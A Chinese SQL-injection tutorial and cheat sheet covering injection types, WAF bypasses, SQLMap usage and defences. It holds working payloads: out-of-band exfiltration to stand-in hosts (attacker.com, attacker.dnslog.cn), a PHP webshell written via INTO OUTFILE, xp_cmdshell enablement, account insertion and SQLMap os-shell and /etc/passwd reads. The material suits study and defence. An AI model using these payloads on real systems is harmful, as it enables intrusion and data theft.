SQL注入漏洞总结

admin 2026-03-03 05:08:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文全面总结了SQL注入漏洞的原理、危害与利用技术,涵盖联合查询、报错注入、盲注、堆叠注入及二次注入等类型。文中对比了主流数据库差异,汇总了多种WAF绕过技巧,并给出SQLMap实战命令与防御方案,构建了从理论到实战的完整知识体系。 综合评分: 90 文章分类: WEB安全,漏洞分析,渗透测试,安全工具


cover_image

SQL 注入漏洞总结

x7ovl x7ovl

xsec

2026年2月26日 14:20 北京

── 摘要 · ABSTRACT ──

SQL 注入(SQL Injection)是历史最悠久、危害最深远的 Web 安全漏洞之一,连续多年高居 OWASP Top 10 榜单。攻击者通过在用户可控输入中插入恶意 SQL 语句,操控后端数据库执行非预期查询,可导致数据泄露、数据篡改、权限绕过乃至服务器沦陷。本文系统梳理 SQL 注入的全部主流类型、利用技术、WAF 绕过手法与防御实践,构建完整的知识体系。

01什么是 SQL 注入

SQL 注入的本质是:用户可控数据被拼接进 SQL 语句,导致数据与代码的边界被打破。数据库无法区分”合法查询”与”攻击者注入的恶意逻辑”,从而执行了攻击者期望的操作。

❌ 漏洞代码示例(PHP + MySQL)

// ❌ 危险:直接拼接用户输入

$username =$_GET[‘username’];

$sql =”SELECT * FROM users WHERE username='”.$username .”‘”;

// 正常请求:username=admin

// → SELECT * FROM users WHERE username=’admin’

// 注入攻击:username=’ OR ‘1’=’1

// → SELECT * FROM users WHERE username=” OR ‘1’=’1’// → 返回所有用户!

✅ 安全代码示例(预编译参数化查询)

// ✅ 安全:使用预编译语句

$stmt =$pdo->prepare(“SELECT * FROM users WHERE username = ?”);

$stmt->execute([$_GET[‘username’]]);// 无论输入什么,都只会被当作”数据”,永不被执行

SQL 注入可造成的危害:

| | | | — | — | | 数据泄露 | 读取数据库中所有数据,包括用户密码、个人信息、商业机密 | | 权限绕过 | 绕过登录验证,以任意用户(含管理员)身份登录 | | 数据篡改 | INSERT/UPDATE/DELETE 任意数据,破坏数据完整性 | | 文件读写 | 利用 LOAD_FILE/INTO OUTFILE 读写服务器文件,写入 WebShell | | 命令执行 | 通过 xp_cmdshell(MSSQL)、UDF 等执行系统命令,完整 RCE |

02注入类型全景图

SQL 注入分类体系

| | | | — | — | | 按回显分 | 有回显无回显(盲注)带外(OOB) | | | | | 按技术分 | UNION 联合查询报错注入布尔盲注时间盲注堆叠注入 | | | | | 按位置分 | GET参数POST参数HTTP HeaderCookieJSON/XML | | | | | 特殊类型 | 二次注入宽字节注入ORDER BY注入DNSlog注入 |

03联合查询注入(UNION-based)

UNION 注入是最直观、效率最高的注入方式,前提是页面有数据回显。攻击者通过UNION SELECT 将额外查询结果”拼接”到正常结果中返回。

// 完整利用步骤

STEP 1 · 判断注入点类型

数字型注入探测

?id=1 AND 1=1  — 返回正常

?id=1 AND 1=2  — 返回异常 → 存在注入

字符型注入探测

?id=1′  — 报错 → 存在字符型注入

?id=1′ –+   — 正常 → 确认注释有效

STEP 2 · 确定列数(ORDER BY / UNION NULL)

方法一:ORDER BY 二分法

?id=1′ ORDER BY3 –+  — 正常

?id=1′ ORDER BY4 –+  — 报错 → 共 3 列

方法二:UNION NULL 探测

?id=1′ UNION SELECT NULL,NULL,NULL –+   — 3个NULL正常

STEP 3 · 确定回显位置

用数字标记找到哪个字段显示在页面上

?id=-1′ UNION SELECT’A’,’B’,’C’ –+  — 页面显示 B → 第 2 列为回显位

STEP 4 · 信息收集 → 拖库

获取数据库版本、当前库名、用户

?id=-1′ UNION SELECTversion(),database(),user() –+

获取所有数据库名

?id=-1′ UNION SELECTgroup_concat(schema_name),2,3  FROM information_schema.schemata –+

获取指定库的所有表名

?id=-1′ UNION SELECTgroup_concat(table_name),2,3  FROM information_schema.tables  WHERE table_schema=’security’ –+

获取表的所有列名

?id=-1′ UNION SELECTgroup_concat(column_name),2,3  FROM information_schema.columns  WHERE table_name=’users’ –+

最终:dump 数据

?id=-1′ UNION SELECTgroup_concat(username,’:’,password),2,3  FROM security.users –+

!

适用条件

UNION 注入要求:① 页面有数据回显;② UNION 前后查询列数相同;③ 对应位置数据类型兼容。无回显场景须改用盲注技术。

04报错注入(Error-based)

当页面显示数据库错误信息,但不直接回显查询结果时,可利用报错注入。其原理是构造特定的函数调用,让数据库在报错信息中把查询结果带出来

| 函数 | 利用原理 | 数据库 | | — | — | — | | extractvalue() | XPath 语法错误,将查询结果嵌入错误信息输出 | MySQL | | updatexml() | 同上,更新 XML 时 XPath 错误触发,结果长度限制 32 字符 | MySQL | | floor(rand()*2) | GROUP BY 主键重复错误,将结果嵌入错误信息,无长度限制 | MySQL | | convert() | 类型转换失败,错误信息中暴露数据值 | MSSQL | | XMLType() | Oracle 特有的 XML 解析错误泄露数据 | Oracle |

SQLMySQL 报错注入常用 Payload

— 1. extractvalue() 获取当前数据库

‘ ANDextractvalue(1,concat(0x7e,database())) –+  — 报错:XPATH syntax error: ‘~security’

— 2. updatexml() 获取版本信息

‘ ANDupdatexml(1,concat(0x7e,version()),1) –+

— 3. updatexml() 获取表名(超 32 字符用 substr 分页)

‘ANDupdatexml(1,concat(0x7e,  (SELECTgroup_concat(table_name)FROM information_schema.tablesWHERE table_schema=database())),1) –+

— 4. floor(rand()*2) 无长度限制版本

‘AND(SELECT1FROM(SELECT COUNT(*),concat(    (SELECTuser()),floor(rand()*2)) xFROM information_schema.tablesGROUP BY x) a) –+

05布尔盲注(Boolean-based Blind)

当页面没有任何数据回显,但在条件为真/假时返回不同的页面状态(如有无内容、不同提示文字),即可使用布尔盲注。通过逐字符二分猜测来还原数据。

SQL布尔盲注 Payload 详解

— 核心思路:用 ASCII + SUBSTR 逐字符二分猜测–

Step1:判断数据库名长度

?id=1′ ANDlength(database())=8 –+  — 返回正常 → 数据库名长度为 8–

Step2:逐字符猜测(二分法)

?id=1′ ANDascii(substr(database(),1,1))>100 –+  — 正常

?id=1′ ANDascii(substr(database(),1,1))>110 –+  — 异常

?id=1′ ANDascii(substr(database(),1,1))=115 –+  — 正常 → 第1位=’s’–

Step3:猜表名(同理)

?id=1′ ANDascii(substr(  (SELECT table_nameFROM information_schema.tablesWHERE table_schema=database()LIMIT0,1),1,1))=101 –+

— 也可以使用 regexp 或 like 替代 ascii+substr

?id=1′ AND (SELECTsubstr(table_name,1,1)FROM information_schema.tablesWHERE table_schema=database()LIMIT0,1)  REGEXP’^e’ –+

i

效率说明

手工布尔盲注效率极低,实战中应配合 SQLMap 的--technique=B 参数自动化利用。猜测一个 8 字符的字符串理论上只需约 56 次请求(每字符 7 次二分)。

06时间盲注(Time-based Blind)

当页面无论成功或失败都返回完全相同的响应时,布尔盲注也失效。此时可利用时间延迟来推断条件是否为真——条件真则延迟,条件假则不延迟。

| 数据库 | 延迟函数 | 示例 | | — | — | — | | MySQL | sleep(N) | IF(1=1, sleep(3), 0) | | MySQL | benchmark(N,expr) | benchmark(5000000, md5(1)) | | MSSQL | WAITFOR DELAY | WAITFOR DELAY ‘0:0:5’ | | PostgreSQL | pg_sleep(N) | SELECT pg_sleep(5) | | Oracle | dbms_pipe.receive | dbms_pipe.receive_message(‘a’,5) |

SQLMySQL 时间盲注完整示例

— 基础验证:条件为真时延迟 5 秒

?id=1′ ANDIF(1=1,sleep(5),0) –+

— 猜测数据库名第一个字母 ASCII > 100?

?id=1′ ANDIF(ascii(substr(database(),1,1))>100,sleep(5),0) –+

— 响应时间 ≥5s → 条件真;<1s → 条件假– 提取表名(逐字符时间盲注)

?id=1′ ANDIF(ascii(substr(    (SELECT table_nameFROM information_schema.tablesWHERE table_schema=database()LIMIT0,1),1,1))=117,sleep(3),0) –+

— 延迟 → 首字母 ASCII=117 即 ‘u’

07带外注入(OOB)与堆叠注入

// 带外注入(Out-of-Band)

当时间盲注因网络不稳定(延迟波动大)而难以准确判断时,带外注入通过让数据库主动向攻击者服务器发起 DNS 或 HTTP 请求,将查询结果附在请求中带出,更为可靠。

SQLOOB 注入 Payload(需数据库高权限)

— MySQL:利用 load_file + UNC 路径(Windows 环境)

‘ANDload_file(concat(‘\\’,database(),’.attacker.dnslog.cn\’,’a’)) –+

— DNS 请求:security.attacker.dnslog.cn → 数据库名泄露– Oracle:利用 UTL_HTTP 发起 HTTP 请求带出数据

‘||UTL_HTTP.request(‘http://attacker.com/?d=’|| (SELECTuserFROM dual  )) —

— MSSQL:利用 master..xp_dirtree 发起 DNS 请求

‘; EXEC master..xp_dirtree’\’ + (SELECTTOP1 nameFROM sys.databases)  +’.attacker.dnslog.cn\a’ —

// 堆叠注入(Stacked Queries)

通过分号; 同时执行多条 SQL 语句,可执行 INSERT/UPDATE/DROP 等写操作,危害极大。MySQL + PHP PDO、MSSQL、PostgreSQL 均支持;原生 MySQL API 默认不支持。

SQL堆叠注入 Payload

— MySQL 写 WebShell(需 FILE 权限)

‘;SELECT’<?php@eval($_POST[cmd])?>‘INTO OUTFILE’/var/www/html/shell.php’ –+

— MSSQL 开启 xp_cmdshell 执行系统命令

‘; EXEC sp_configure’show advanced options’,1; RECONFIGURE;   EXEC sp_configure’xp_cmdshell’,1; RECONFIGURE; –‘; EXEC xp_cmdshell’whoami’

—- 添加管理员账户

‘;INSERT INTO users(username,password)VALUES(‘hacker’,md5(‘hack123’)) –+

08二次注入 & 宽字节注入

// 二次注入(Second-Order Injection)

攻击者将恶意数据先存入数据库(此时经过了转义,看似安全),之后当系统从数据库读取该数据并再次拼接进 SQL 语句时,恶意数据不再被转义,触发注入。典型场景:注册用户名admin'--,在修改密码功能中触发。

二次注入流程

| | | | | | | | | — | — | — | — | — | — | — | | 1 注册用户名 admin'-- | → | 2 转义后存入 DB:admin\'-- | → | 3 读取时还原 为admin'-- | → | 💥 二次拼接 注入触发! |

// 宽字节注入(Wide-byte Injection)

在 GBK 等宽字节编码下,当程序使用addslashes() 将' 转义为\'(即0x27 →0x5c27),攻击者在' 前加入%df,使%df%5c&nbsp;被 GBK 解析为一个汉字(縗),从而吃掉反斜杠,使引号逃逸。

PAYLOAD宽字节注入示例(GBK编码)

原始 Payload

?id=1%df’ UNION SELECT 1,2,3 –+

处理过程:

输入:      0xdf 0x27# addslashes:0xdf 0x5c 0x27  (加入反斜杠)

GBK解码:   0xdf5c=縗 + 0x27=’# 反斜杠被吃掉,引号成功逃逸!

防御:使用 mysql_set_charset(‘utf8’) 或 PDO

09不同数据库的注入差异

| 特性 | MySQL | MSSQL | Oracle | PostgreSQL | | — | — | — | — | — | | 注释符 | — / # | — | — | — | | 字符串拼接 | concat(a,b) | a+b | a||b | a||b | | 获取当前库 | database() | db_name() | ora_database_name | current_database() | | 获取版本 | version() | @@version | v$version | version() | | 系统表 | information_schema | sysobjects | all_tables | information_schema | | 延迟函数 | sleep(N) | WAITFOR DELAY | dbms_pipe.receive | pg_sleep(N) | | 堆叠注入 | PDO 支持 | 原生支持 | 不支持 | 原生支持 | | 写文件 | INTO OUTFILE | xp_cmdshell | 受限 | COPY TO |

10WAF 绕过技巧汇总

WAF(Web 应用防火墙)基于规则匹配过滤恶意请求,但规则往往无法覆盖所有变种。以下是实战中常用的绕过维度:

①  注释符与内联注释绕过

MySQL 内联注释(被当作注释但数据库执行)

UNION/**/SELECTUN/**/ION SEL/**/ECTUNION/*!32302 SELECT*/–

版本号条件注释# 编码绕过

%23 = #

%2d%2d = —

%20 = (空格)

双重URL编码

%2527 → %27 → ‘

②  大小写混淆 & 关键词拆分

UnIoN SeLeCt# 大小写混淆

UNunionION SEselectLECT# 双写绕过(过滤后拼起来还是关键词)

UNION%0aSELECT# 换行符替代空格

UNION%09SELECT# TAB 替代空格

UNION%0d%0aSELECT# CRLF 替代空格

③  空格替代方案

以下字符均可在 MySQL 中替代空格

/*注释*/

%09(TAB)

%0a(换行)

%0c(换页)%0d(回车)

%0b(垂直TAB)

()(括号)

示例

UNION(SELECT(1),(2),(3))SELECT(1)FROM(users)WHERE(1)=1

④  等价函数 & 表达式替换

等号替代= → LIKE / REGEXP / IN / BETWEEN

substr 替代substr(str,1,1) → mid(str,1,1) → left(str,1)

ASCII 替代ascii() → ord() → hex()

if 替代if(cond,a,b) → case when cond then a else b end

字符串构造(绕过引号过滤)’admin’ → 0x61646d696e → char(97,100,109,105,110)

⑤  HTTP 层面绕过

分块传输(Chunked Transfer)绕过 WAF

Transfer-Encoding: chunked→ 请求体被分块,WAF 无法拼接完整 Payload 检测

参数污染 (HPP)

?id=1&id=UNION SELECT 1,2,3→ 某些 WAF 只检测第一个参数

修改 Content-Type 绕过

Content-Type: application/json    → {“id”:”1′ UNION SELECT …”}Content-Type: multipart/form-data → 分片传输注入

11SQLMap

SQLMap 是最强大的自动化 SQL 注入工具,支持全类型注入、多数据库、自动化 Dump 等功能。以下为渗透测试中最常用的命令组合:

terminal — SQLMap 常用命令

──────────────── 基础检测 ────────────────

sqlmap -u”http://target.com/page?id=1″sqlmap -u”…” –dbs# 枚举所有数据库

sqlmap -u”…” -D security –tables

枚举指定库的表sqlmap -u”…” -D security -T users –columns

枚举列sqlmap -u”…” -D security -T users -C username,password –dump# Dump

──────────────── POST 注入 ────────────────

sqlmap -u”http://target.com/login” \  –data”username=admin&password=123″ \  -p username –dbs

──────────────── Cookie 注入 ────────────────

sqlmap -u”http://target.com/” \  –cookie”PHPSESSID=abc; userid=1″ \  -p userid –dbs

──────────────── 使用 Burp 抓包文件 ────────────────

sqlmap -r request.txt -p id –dbs

──────────────── 指定注入技术 ────────────────

sqlmap -u”…” –technique=BEUSTQ# B=布尔盲注 E=报错注入 U=联合查询 S=堆叠 T=时间盲注 Q=内联查询

──────────────── WAF 绕过 ────────────────

sqlmap -u”…” –tamper=space2comment,randomcase,betweensqlmap -u”…” –random-agent –delay=2 –level=5 –risk=3

──────────────── 高权限利用 ────────────────

sqlmap -u”…” –file-read=”/etc/passwd”sqlmap -u”…” –file-write=”shell.php” –file-dest=”/var/www/html/s.php”sqlmap -u”…” –os-shell# 获取交互式系统命令行

常用 Tamper 脚本速查:

| Tamper | 作用 | | — | — | | space2comment | 空格替换为 /**/ | | randomcase | 关键词随机大小写混淆 | | between | 用 BETWEEN 替代 > 和 = | | charencode | URL 编码所有字符 | | equaltolike | = 替换为 LIKE | | unionalltounion | UNION ALL SELECT 替换为 UNION SELECT | | modsecurityversioned | 针对 ModSecurity 的版本号注释绕过 |

12完整防御方案

核心原则

根本防御 = 预编译(参数化查询)+ 最小权限 + 输入验证。WAF 和错误信息屏蔽是辅助手段,不能替代根本修复。

// 第一道防线:预编译参数化查询(最重要)

CODE各语言预编译写法

// ── PHP (PDO) ──

$stmt =$pdo->prepare(“SELECT * FROM users WHERE id = :id”);

$stmt->bindParam(‘:id’,$id, PDO::PARAM_INT);

$stmt->execute();

// ── Java (PreparedStatement) ──

PreparedStatement stmt = conn.prepareStatement(“SELECT * FROM users WHERE id = ?”);

stmt.setInt(1, userId);ResultSet rs = stmt.executeQuery();

// ── Python (sqlite3 / mysql-connector) ──

cursor.execute(“SELECT * FROM users WHERE id = %s”,    (user_id,)# 元组形式传参,驱动负责转义)// ── Node.js (mysql2) ──connection.execute(‘SELECT * FROM users WHERE id = ?’,    [userId],    (err, results) => { … });

// 完整防御体系清单

| | | | — | — | | ✓ | 预编译参数化查询 ——彻底解决拼接问题,是根本防御措施,无论如何必须执行 | | ✓ | 最小权限原则 ——应用程序数据库账号只授予必要权限(SELECT/INSERT),禁止 FILE、SUPER 等高危权限 | | ✓ | 输入验证与白名单 ——对类型、长度、格式严格校验;ORDER BY 列名等不能参数化的场景使用白名单映射 | | ⚠ | ORM 框架 ——使用 MyBatis、Hibernate、Django ORM 等,但警惕原生 SQL 拼接(${} 而非 #{}) | | ✓ | 屏蔽错误信息 ——生产环境禁止显示详细数据库错误,统一返回自定义错误页(防止报错注入) | | ✓ | WAF 部署 ——作为辅助纵深防御,过滤明显的注入 Payload,同时建立告警与监控 | | ✓ | 定期代码审计 ——使用 SAST 工具(Checkmarx、SonarQube)扫描拼接 SQL,结合人工审计 | | ✓ | 数据库加密 ——敏感字段(密码)使用强哈希(bcrypt/Argon2),即使被 Dump 也无法直接使用 | | i | SQL 注入检测日志 ——在数据库或应用层记录异常查询,接入 SIEM 实现实时告警与溯源 |

// 正文结束 · END //

本文所有技术内容仅供网络安全学习与研究,均在授权或靶场环境下验证。 严禁将本文所述技术用于未经授权的攻击行为,违者自负法律责任。

© 2026  转载请注明出处


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:xsec x7ovl x7ovl《SQL 注入漏洞总结》

SQL注入漏洞总结 网络安全文章

SQL注入漏洞总结

文章总结: 本文全面总结了SQL注入漏洞的原理、危害与利用技术,涵盖联合查询、报错注入、盲注、堆叠注入及二次注入等类型。文中对比了主流数据库差异,汇总了多种WA
评论:0   参与:  0